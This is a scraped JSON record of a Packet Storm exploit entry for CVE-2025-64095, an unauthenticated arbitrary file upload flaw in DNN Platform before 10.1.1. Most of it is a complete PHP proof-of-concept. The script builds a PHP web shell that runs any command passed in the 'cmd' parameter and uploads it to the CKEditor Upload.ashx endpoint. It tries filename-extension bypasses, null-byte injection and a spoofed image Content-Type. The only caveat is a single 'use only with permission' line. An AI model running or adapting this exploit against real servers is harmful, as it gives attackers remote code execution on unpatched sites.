{“lastseen”:”2025-12-08T16:29:45″,”description”:”DNN Platform version Pre\u201110.1.1 suffers from an unauthenticated arbitrary file upload vulnerability. This software was formerly known as DotNetNuke…”,”published”:”2025-12-08T00:00:00″,”modified”:”2025-12-08T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 DNN Platform Pre\u201110.1.1 Arbitrary File Upload”,”source”:””,”references”:””,”id”:”PACKETSTORM:212536″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-64095″],”sourceData”:”=============================================================================================================================================\\n | # Title : DNN Platform Pre\u201110.1.1 Versions Unauthenticated Arbitrary File Upload |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits) |\\n | # Vendor : https:\/\/dnncommunity.org\/ |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/211134\/ \\u0026 \\tCVE-2025-64095\\n \\n [+] Summary : a vulnerability affecting DNN Platform (formerly DotNetNuke).Versions prior to 10.1.1 allow unauthenticated arbitrary file upload through the default HTML editor upload endpoint.\\n Missing permission checks in the file upload controller allowed attackers to upload files without authentication, and in some cases overwrite existing files.\\n \\n [+] An attacker could:\\n \\n Upload arbitrary files\\n Inject malicious content\\n Execute scripts depending on server configuration\\n \\n [+] Vulnerable Versions :\\n \\n All versions before 10.1.1 (e.g., 10.1.0, 10.0.x, 9.x, etc.)\\n \\t\\t\\t \\n [+] POC : * Usage: Save this file as: exploit.php\\n Run: php exploit.php\\n \\t\\t\\t\\t\\t\\t\\t\\t\\n \\u003c?php\\n \/*\\n PoC for CVE-2025-64095 – Unauthenticated File Upload\\n Author: Indoushka\\n *\/\\n \\n $target = \\”http:\/\/victim.com\/Providers\/HtmlEditorProviders\/DNNConnect.CKE\/Upload.ashx\\”;\\n $file_to_upload = \\”shell.php\\”;\\n \\n \/\/ \u0645\u062d\u062a\u0648\u0649 \u0627\u0644\u0645\u0644\u0641 \u0627\u0644\u0630\u064a \u0633\u064a\u062a\u0645 \u0631\u0641\u0639\u0647 (\u0634\u0644 PHP \u0628\u0633\u064a\u0637)\\n $php_shell = ‘\\u003c?php\\n if(isset($_GET[\\”cmd\\”])) {\\n system($_GET[\\”cmd\\”]);\\n } else {\\n echo \\”Shell Active – \\” . gethostname();\\n }\\n ?\\u003e’;\\n \\n file_put_contents($file_to_upload, $php_shell);\\n \\n \/\/ \u0645\u062d\u0627\u0648\u0644\u0627\u062a \u0644\u0623\u0633\u0645\u0627\u0621 \u0645\u0644\u0641\u0627\u062a \u0645\u062e\u062a\u0644\u0641\u0629 \u0644\u062a\u062c\u0627\u0648\u0632 \u0627\u0644\u062d\u0645\u0627\u064a\u0629\\n $filenames = [\\n \\”shell.php\\”,\\n \\”shell.php5\\”,\\n \\”shell.phtml\\”,\\n \\”shell.php.test\\”,\\n \\”shell.php.jpg\\”, \/\/ \u0642\u062f \u064a\u062a\u0645 \u062a\u062c\u0627\u0647\u0644 \u0627\u0644\u0627\u0645\u062a\u062f\u0627\u062f \u0627\u0644\u062b\u0627\u0646\u064a \u0641\u064a \u0628\u0639\u0636 \u0627\u0644\u0623\u0646\u0638\u0645\u0629\\n \\”shell.php%00.jpg\\”, \/\/ null byte injection (\u0625\u0630\u0627 \u0643\u0627\u0646 \u0627\u0644\u0646\u0638\u0627\u0645 \u0645\u0639\u0631\u0636)\\n \\”shell.php;.jpg\\”,\\n \\”shell.php \\”,\\n ];\\n \\n foreach ($filenames as $filename) {\\n echo \\”\\\\n[+] Trying filename: $filename\\\\n\\”;\\n \\n \/\/ \u0627\u0639\u062f\u0627\u062f \u0627\u0644\u0637\u0644\u0628\\n $boundary = \\”—-Indoushka\\” . md5(time() . rand(1, 1000));\\n $post_data = \\”–$boundary\\\\r\\\\n\\”;\\n $post_data .= \\”Content-Disposition: form-data; name=\\\\\\”upload\\\\\\”; filename=\\\\\\”$filename\\\\\\”\\\\r\\\\n\\”;\\n $post_data .= \\”Content-Type: text\/plain\\\\r\\\\n\\\\r\\\\n\\”; \/\/ \u0642\u062f \u062a\u062d\u062a\u0627\u062c \u0644\u062a\u063a\u064a\u064a\u0631 Content-Type\\n $post_data .= $php_shell . \\”\\\\r\\\\n\\”;\\n $post_data .= \\”–$boundary–\\\\r\\\\n\\”;\\n \\n \/\/ \u0627\u0631\u0633\u0627\u0644 \u0627\u0644\u0637\u0644\u0628\\n $ch = curl_init();\\n curl_setopt($ch, CURLOPT_URL, $target);\\n curl_setopt($ch, CURLOPT_POST, true);\\n curl_setopt($ch, CURLOPT_HTTPHEADER, array(\\n \\”Content-Type: multipart\/form-data; boundary=$boundary\\”,\\n \\”User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\\”,\\n \\”X-Forwarded-For: 127.0.0.1\\”\\n ));\\n curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);\\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);\\n curl_setopt($ch, CURLOPT_TIMEOUT, 10);\\n \\n \/\/ \u0625\u0636\u0627\u0641\u0629 \u0628\u0631\u0648\u0643\u0633\u064a \u0644\u0644\u062a\u0635\u062d\u064a\u062d (\u0627\u062e\u062a\u064a\u0627\u0631\u064a)\\n \/\/ curl_setopt($ch, CURLOPT_PROXY, \\”127.0.0.1:8080\\”);\\n \\n $response = curl_exec($ch);\\n $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n \\n if($response === false){\\n echo \\”Error: \\” . curl_error($ch) . \\”\\\\n\\”;\\n } else {\\n echo \\”[+] HTTP Code: $http_code\\\\n\\”;\\n echo \\”[+] Response (first 500 chars):\\\\n\\” . substr($response, 0, 500) . \\”\\\\n\\”;\\n \\n \/\/ \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0648\u062c\u0648\u062f \u0645\u0624\u0634\u0631\u0627\u062a \u0639\u0644\u0649 \u0646\u062c\u0627\u062d \u0627\u0644\u0631\u0641\u0639\\n if (strpos($response, ‘success’) !== false || \\n strpos($response, ‘url’) !== false ||\\n strpos($response, ‘.php’) !== false) {\\n echo \\”[!] Possible successful upload detected!\\\\n\\”;\\n \\n \/\/ \u0645\u062d\u0627\u0648\u0644\u0629 \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u0631\u0627\u0628\u0637 \u0627\u0644\u0645\u0644\u0641 \u0627\u0644\u0645\u0631\u0641\u0648\u0639\\n preg_match_all(‘\/\\”(http[^\\”]+\\\\.php[^\\”]*)\\”\/i’, $response, $matches);\\n if (!empty($matches[1])) {\\n echo \\”[+] Found potential shell URLs:\\\\n\\”;\\n foreach ($matches[1] as $url) {\\n echo \\” – $url\\\\n\\”;\\n }\\n }\\n }\\n }\\n \\n curl_close($ch);\\n sleep(1); \/\/ \u062a\u062c\u0646\u0628 rate limiting\\n }\\n \\n \/\/ \u0645\u062d\u0627\u0648\u0644\u0629 \u0628\u0631\u0641\u0639 \u0645\u0639 Content-Type \u0645\u062e\u062a\u0644\u0641\\n echo \\”\\\\n[+] Trying with different Content-Type…\\\\n\\”;\\n $boundary = \\”—-Indoushka\\” . md5(time());\\n $post_data = \\”–$boundary\\\\r\\\\n\\”;\\n $post_data .= \\”Content-Disposition: form-data; name=\\\\\\”upload\\\\\\”; filename=\\\\\\”shell.php\\\\\\”\\\\r\\\\n\\”;\\n $post_data .= \\”Content-Type: image\/jpeg\\\\r\\\\n\\\\r\\\\n\\”; \/\/ Content-Type \u0645\u0636\u0644\u0644\\n $post_data .= $php_shell . \\”\\\\r\\\\n\\”;\\n $post_data .= \\”–$boundary–\\\\r\\\\n\\”;\\n \\n $ch = curl_init();\\n curl_setopt($ch, CURLOPT_URL, $target);\\n curl_setopt($ch, CURLOPT_POST, true);\\n curl_setopt($ch, CURLOPT_HTTPHEADER, array(\\n \\”Content-Type: multipart\/form-data; boundary=$boundary\\”\\n ));\\n curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);\\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\\n \\n $response = curl_exec($ch);\\n echo \\”[+] Response with fake Content-Type: \\” . substr($response, 0, 300) . \\”\\\\n\\”;\\n curl_close($ch);\\n \\n \/\/ \u062a\u0646\u0638\u064a\u0641 \u0627\u0644\u0645\u0644\u0641 \u0627\u0644\u0645\u062d\u0644\u064a\\n if (file_exists($file_to_upload)) {\\n unlink($file_to_upload);\\n }\\n \\n echo \\”\\\\n[!] Remember: Use only on systems you own or have permission to test!\\\\n\\”;\\n ?\\u003e\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/212536″,”cvss”:{“score”:10,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/212536\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-08T16:29:45″,”description”:”DNN Platform version Pre\u201110.1.1 suffers from an unauthenticated arbitrary file upload vulnerability. This software was formerly known as DotNetNuke…”,”published”:”2025-12-08T00:00:00″,”modified”:”2025-12-08T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 DNN Platform Pre\u201110.1.1 Arbitrary File Upload”,”source”:””,”references”:””,”id”:”PACKETSTORM:212536″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-64095″],”sourceData”:”=============================================================================================================================================\\n…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,36,12,13,53,7,11,5],"class_list":["post-29327","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n